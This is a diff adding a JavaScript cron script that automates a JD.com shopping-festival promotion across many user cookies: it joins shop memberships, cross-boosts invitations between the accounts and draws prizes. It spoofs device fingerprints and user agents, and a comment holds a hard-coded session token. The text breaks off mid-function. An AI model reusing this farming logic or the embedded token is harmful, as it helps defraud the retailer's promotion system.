"41 1,10 * * *" script-path=jd_opencard_Daddy.js,tag=8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆) + +===============Surge================= +8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆) = type=cron,cronexp="41 1,10 * * *",wake-system=1,timeout=3600,script-path=jd_opencard_Daddy.js + +============小火箭========= +8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆) = type=cron,script-path=jd_opencard_Daddy.js, cronexpr="41 1,10 * * *", timeout=3600, enable=true +*/ +const $ = new Env('8.2-8.12 奶爸盛典 爸气全开(跑完手动领取100豆)'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let UA = require('./USER_AGENTS.js').USER_AGENT; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +// process.env.JD_OPENCARD_DADDY = '40' +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + + +let jd_opencard_Daddy +if (!$.isNode() || !process.env.JD_OPENCARD_DADDY) { + $.log(`你没有设置JD_OPENCARD_EAT_OPEN_OPENCARD变量 默认为运行到6ck停止`) + $.log(`请设置env变量 JD_OPENCARD_DADDY 填写11就是跑到11个ck就停止 填写21就是跑到21个ck就停止 一天最多助力20个ck 推荐10的倍数 +1 填写!!`) + $.log(`请设置env变量 JD_OPENCARD_DADDY 填写11就是跑到11个ck就停止 填写21就是跑到21个ck就停止 一天最多助力20个ck 推荐10的倍数 +1 填写!!`) + $.log(`请设置env变量 JD_OPENCARD_DADDY 填写11就是跑到11个ck就停止 填写21就是跑到21个ck就停止 一天最多助力20个ck 推荐10的倍数 +1 填写!!`) + $.log(`请设置env变量 JD_OPENCARD_DADDY 填写11就是跑到11个ck就停止 填写21就是跑到21个ck就停止 一天最多助力20个ck 推荐10的倍数 +1 填写!!`) + jd_opencard_Daddy = 6 +} else { + jd_opencard_Daddy = Number(process.env.JD_OPENCARD_DADDY) + $.log(`你设置了JD_OPENCARD_EAT_OPEN_OPENCARD变量 运行到 ${jd_opencard_Daddy} ck停止`) +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + $.shareUuid = 'e23655650c974dacbccb080f5cc4c1a3' + console.log('入口:20.0复制整段话 http:/JIMNn3FbzhXZ9v 奶爸盛典重磅福利!惊喜京豆立即领取,更多实物惊喜大奖#iCYfiAu7ub@しǎι【京東】AΡΡの') + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + let wxCommonInfoTokenDataTmp = await getWxCommonInfoToken(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let wxCommonInfoTokenData = wxCommonInfoTokenDataTmp.data; + $.LZ_TOKEN_KEY = wxCommonInfoTokenData.LZ_TOKEN_KEY + $.LZ_TOKEN_VALUE = wxCommonInfoTokenData.LZ_TOKEN_VALUE + $.isvObfuscatorToken = await getIsvObfuscatorToken(); + $.myPingData = await getMyPing() + if ($.myPingData === "" || $.myPingData === '400001' || !$.myPingData || !$.myPingData.secretPin) { + $.log("黑号!") + continue + } + await getHtml(); + let simpleActInfoVoResp = await getSimpleActInfoVo() + await adLog(); + $.actorUuidResp = await getActorUuid(); + if (!$.actorUuidResp) { + $.log("黑号!") + continue + } + $.actorUuid = $.actorUuidResp.data.actorUuid; + // let checkOpenCardData = await checkOpenCard(); + let checkOpenCardData = $.actorUuidResp.data.openCard ? $.actorUuidResp.data.openCard.filter(row => !row.openStatus) : []; + if (checkOpenCardData.length > 0) { + for (let cardList1Element of checkOpenCardData) { + $.log('入会: ' + cardList1Element.venderId) + await join(cardList1Element.venderId) + } + } else { + $.log("是否全部入会: " + 'true') + } + await saveTask() + await saveTask() + await getSimpleActInfoVo() + await getSimpleActInfoVo() + await getActorUuid(); + await getActorUuid(); + $.log($.shareUuid) + if (i === 0 && $.actorUuid) { + $.shareUuid = $.actorUuid; + } + if ($.index == jd_opencard_Daddy) { + $.log(`你设置到${jd_opencard_Daddy} 停止,如果不如意请设置 JD_OPENCARD_DADDY变量,注意看js说明!!!没有设置默认11停`) + break; + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +function followShop() { + return new Promise(resolve => { + let body = `activityId=dz2107100000271001&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&taskType=23&taskValue=1000002710&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/muying/recruiting/followShop', body, 'https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/followShop'), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function openCardStartDraw(type) { + return new Promise(resolve => { + let body = `activityId=dz210768869312&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` + $.post(taskPostUrl('/dingzhi/aoyun/moreshop/openCardStartDraw', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = `activityId=dz2107100000271001&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}` + $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body, 'https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon'), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function saveTask() { + return new Promise(resolve => { + let body = `activityId=dz2107100000271001&pin=${encodeURIComponent($.myPingData.secretPin)}&taskType=23&taskValue=1000002710&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` + $.post(taskPostUrl('/dingzhi/muying/recruiting/saveTask', body, 'https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/saveTask'), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +async function startDraw(type) { + return new Promise(resolve => { + let body = `activityId=fb64cd8222a74c0f96557c2d97547e76&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` + $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body, `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/805745?activityId=fb64cd8222a74c0f96557c2d97547e76&shareUuid=${$.shareUuid}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.log('抽到了: ' + data) + } + } catch (e) { + await $.wait(5000) + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function checkOpenCard() { + return new Promise(resolve => { + let body = `activityId=dz2107100000271001&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}` + $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body, 'https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/checkOpenCard'), async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data) { + $.log("================== 你邀请了: " + data.data.score + " 个") + } + } + } catch (e) { + data = {data: {nowScore: 50}} + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function join(venderId) { + return new Promise(resolve => { + $.get(ruhui(`${venderId}`), async (err, resp, data) => { + try { + data = data.match(/(\{().+\})/)[1] + data = JSON.parse(data); + if (data.success == true) { + $.log(data.message) + } else if (data.success == false) { + $.log(data.message) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function ruhui(functionId) { + return { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{"v_sex":"未知","v_name":"大品牌","v_birthday":"2021-07-23"},"writeChildFlag":0,"activityId":1454199,"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888&jsonp=jsonp_1627049995456_46808`, + headers: { + 'Content-Type': 'text/plain; Charset=UTF-8', + 'Origin': 'https://api.m.jd.com', + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1', + 'content-type': 'application/x-www-form-urlencoded', + 'Referer': 'https://shopmember.m.jd.com/shopcard/?venderId=1000003005&shopId=1000003005&venderType=1&channel=102&returnUrl=https%%3A%%2F%%2Flzdz1-isv.isvjcloud.com%%2Fdingzhi%%2Fdz%%2FopenCard%%2Factivity%%2F7376465%%3FactivityId%%3Dd91d932b9a3d42b9ab77dd1d5e783839%%26shareUuid%%3Ded1873cb52384a6ab42671eb6aac841d', + 'Cookie': cookie + } + } +} + + +function getWxCommonInfoToken() { + //await $.wait(20) + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': `Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1`, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'lzdz1-isv.isvjcloud.com', + 'Origin': 'https://lzdz1-isv.isvjcloud.com', + 'Referer': 'https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token', + } + }, async (err, resp, data) => { + try { + if (err) { + $.isLogin = false + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.isLogin = false + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function getIsvObfuscatorToken() { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=zrHR4oLv7fO8bj08KaWkuJrGiAm%2FG6al3p01S3QPkHjEe70KB7DMBdz3cfE%2BRhrQIyj%2B2Jj2QqzA%2BpAdyk9V1ui51eL%2FoBnDH0kFw%2FNynmvOvct2RwpCzR7s0IfLFlCdif1pPkN560QPhIQm8X6wiYfI7PKqHbiI&uemps=0-0&st=1627274224579&sign=bba574c30f4f3d5daa720c4ffea24a07&sv=102`, + body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Flzdz1-isv.isvjcloud.com%22%7D&', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Referer': 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.4&build=88641&client=android&d_brand=OPPO&d_model=PCAM00&osVersion=10&screen=2208*1080&partner=oppo&oaid=&openudid=7049442d7e415232&eid=eidAfb0d81231cs3I4yd3GgLRjqcx9qFEcJEmyOMn1BwD8wvLt/pM7ENipVIQXuRiDyQ0FYw2aud9+AhtGqo1Zhp0TsLEgoKZvAWkaXhApgim9hlEyRB&sdkVersion=29&lang=zh_CN&uuid=7049442d7e415232&aid=7049442d7e415232&area=4_48201_54794_0&networkType=wifi&wifiBssid=774de7601b5cddf9aad1ae30f3a3dfc0&uts=zrHR4oLv7fO8bj08KaWkuJrGiAm%2FG6al3p01S3QPkHjEe70KB7DMBdz3cfE%2BRhrQIyj%2B2Jj2QqzA%2BpAdyk9V1ui51eL%2FoBnDH0kFw%2FNynmvOvct2RwpCzR7s0IfLFlCdif1pPkN560QPhIQm8X6wiYfI7PKqHbiI&uemps=0-0&st=1627274224579&sign=bba574c30f4f3d5daa720c4ffea24a07&sv=102', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.token); + } + }) + }) +} + +function getMyPing() { + //await $.wait(20) + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=1000002710&token=${$.isvObfuscatorToken}&fromType=APP_pointRedeem`, + headers: { + 'User-Agent': `Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1`, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'lzdz1-isv.isvjcloud.com', + 'Referer': 'https://lzdz1-isv.isvjcloud.com/customer/getMyPing', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.lz_jdpin_token = resp['headers']['set-cookie'].filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data.data); + } + }) + }) +} + +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/activity/4984087?activityId=dz2107100000271001&lng=114.062541&lat=29.541254&sid=${$.shareUuid}&un_area=4_48201_54794_0`, + headers: { + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1`, + 'Host': 'lzdz1-isv.isvjcloud.com', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity?activityId=dz2107100000271001&lng=114.062541&lat=29.541254&sid=${$.shareUuid}&un_area=4_48201_54794_0`, + 'Cookie': `IsvToken=${$.isvObfuscatorToken}; __jdc=60969652; __jd_ref_cls=Mnpm_ComponentApplied; pre_seq=1; __jda=60969652.1622198480453678909255.1622198480.1626617117.1626757026.38; __jdb=60969652.1.1622198480453678909255|38.1626757026; mba_sid=187.2; pre_session=vFIEj/DyoMrR+8jmAgzXSqWcNxIDZica|319; __jdv=60969652%7Cdirect%7C-%7Cnone%7C-%7C1624292158074; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token} mba_muid=1622198480453678909255.187.1626757027670`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getSimpleActInfoVo() { + return new Promise(resolve => { + $.post(taskPostUrl('/dz/common/getSimpleActInfoVo', `activityId=dz2107100000271001`, `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function shopInfo() { + return new Promise(resolve => { + let body = `activityId=dz2107100000271001`; + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/shopInfo`, + body: body, + headers: { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': '*/*', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/shopInfo', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1', + 'Host': 'lzdz1-isv.isvjcloud.com', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + // 'Cookie': `lz_jdpin_token=eyJ0eXBlIjoiand0IiwiYWxnIjoiSFM1MTIifQ.eyJwaW4iOiJEUUNLL2tzVk14eGhBdFAyd2JRZkkwN29lVlA5a3EycFlTSDkwbVl0NG0zZndjSmxDbHB4cmZtVllhR0t1cXVRa2RLM3JMQlFwRVFIOVY0dGRycmgwdz09IiwicmsiOiJlZWZlMTllYzhmNTY0MmQxYjQ5YTY1ZDdjODBjODk1NyIsImV4cGlyZV90aW1lIjoxNjI3ODI1MjgxMTExfQ.9QwgFKXAZL1Hs_YfXUgpSBUqUMAKtaOhdJd4op7Gd9tsHSNBXCN0lQNx02bvfcxbURipboNkY-yPYeWYl4CgVg; LZ_TOKEN_KEY=lztokenpagebc6b681655bb41b79004b308795254f8; LZ_TOKEN_VALUE=B0oH3vDY2bhHWuKbVaJ+XQ==`, + // 'Cookie': `${$.lz_jdpin_token} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function index() { + return new Promise(resolve => { + let body = `activityId=dz2107100000271001` + $.get({ + url: `https://h5.m.jd.com/babelDiy/Zeus/2vQWcFpeGVxMqGFiUbGAM3CzqvJS/index.html?1`, + headers: { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': '*/*', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/shopInfo', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1', + 'Host': 'h5.m.jd.com', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adLog() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=1000003179&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=dz2107100000271001&pageUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/activity/4984087?activityId=dz2107100000271001&shareUuid=8d525bc2bf0c477691c7430f769619d9&adsource=null&shareuserid4minipg=wtUcS9k2kekRmYYaphb32U7oeVP9kq2pYSH90mYt4m3fwcJlClpxrfmVYaGKuquQkdK3rLBQpEQH9V4tdrrh0w==&shopid=1000370909&lng=114.062590&lat=29.541489&sid=5fa6c7778669e4865e2e7e7ba5ea098w&un_area=4_48201_54794_0&subType=APP&adSource=null`, + headers: { + 'User-Agent': `Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1`, + 'Host': 'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer': 'https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/activityContent`, + body: `activityId=dz2107100000271001&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=https%3A%2F%2Fimg10.360buyimg.com%2Fimgzone%2Fjfs%2Ft1%2F7020%2F27%2F13511%2F6142%2F5c5138d8E4df2e764%2F5a1216a3a5043c5d.png&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': `Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1`, + 'Host': 'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer': 'https://lzdz1-isv.isvjcloud.com/dingzhi/muying/recruiting/activityContent', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function taskPostUrl(url, body, referer) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Host": "lzdz1-isv.isvjcloud.com", + "Accept": "application/json", + "X-Requested-With": "XMLHttpRequest", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded; Charset=UTF-8", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "Connection": "keep-alive", + "Referer": referer ? referer : `https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0713eliminate/?activityId=735c30216dc640638ceb6e63ff6d8b17&shareUuid=${$.shareUuid}&adsource=&shareuserid4minipg=u%2FcWHIy7%2Fx3Ij%20HjfbnnePkaL5GGqMTUc8u%2Fotw2E%20a7Ak3lgFoFQlZmf45w8Jzw&shopid=0&lng=114.062541&lat=29.541254&sid=57b59835c68ed8959d124d644f61c58w&un_area=4_48201_54794_0`, + "User-Agent": "Mozilla/5.0 (Linux; U; Android 8.0.0; zh-cn; Mi Note 2 Build/OPR1.170623.032) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/MiuiBrowser/10.1.1 ", + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + } +} + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const 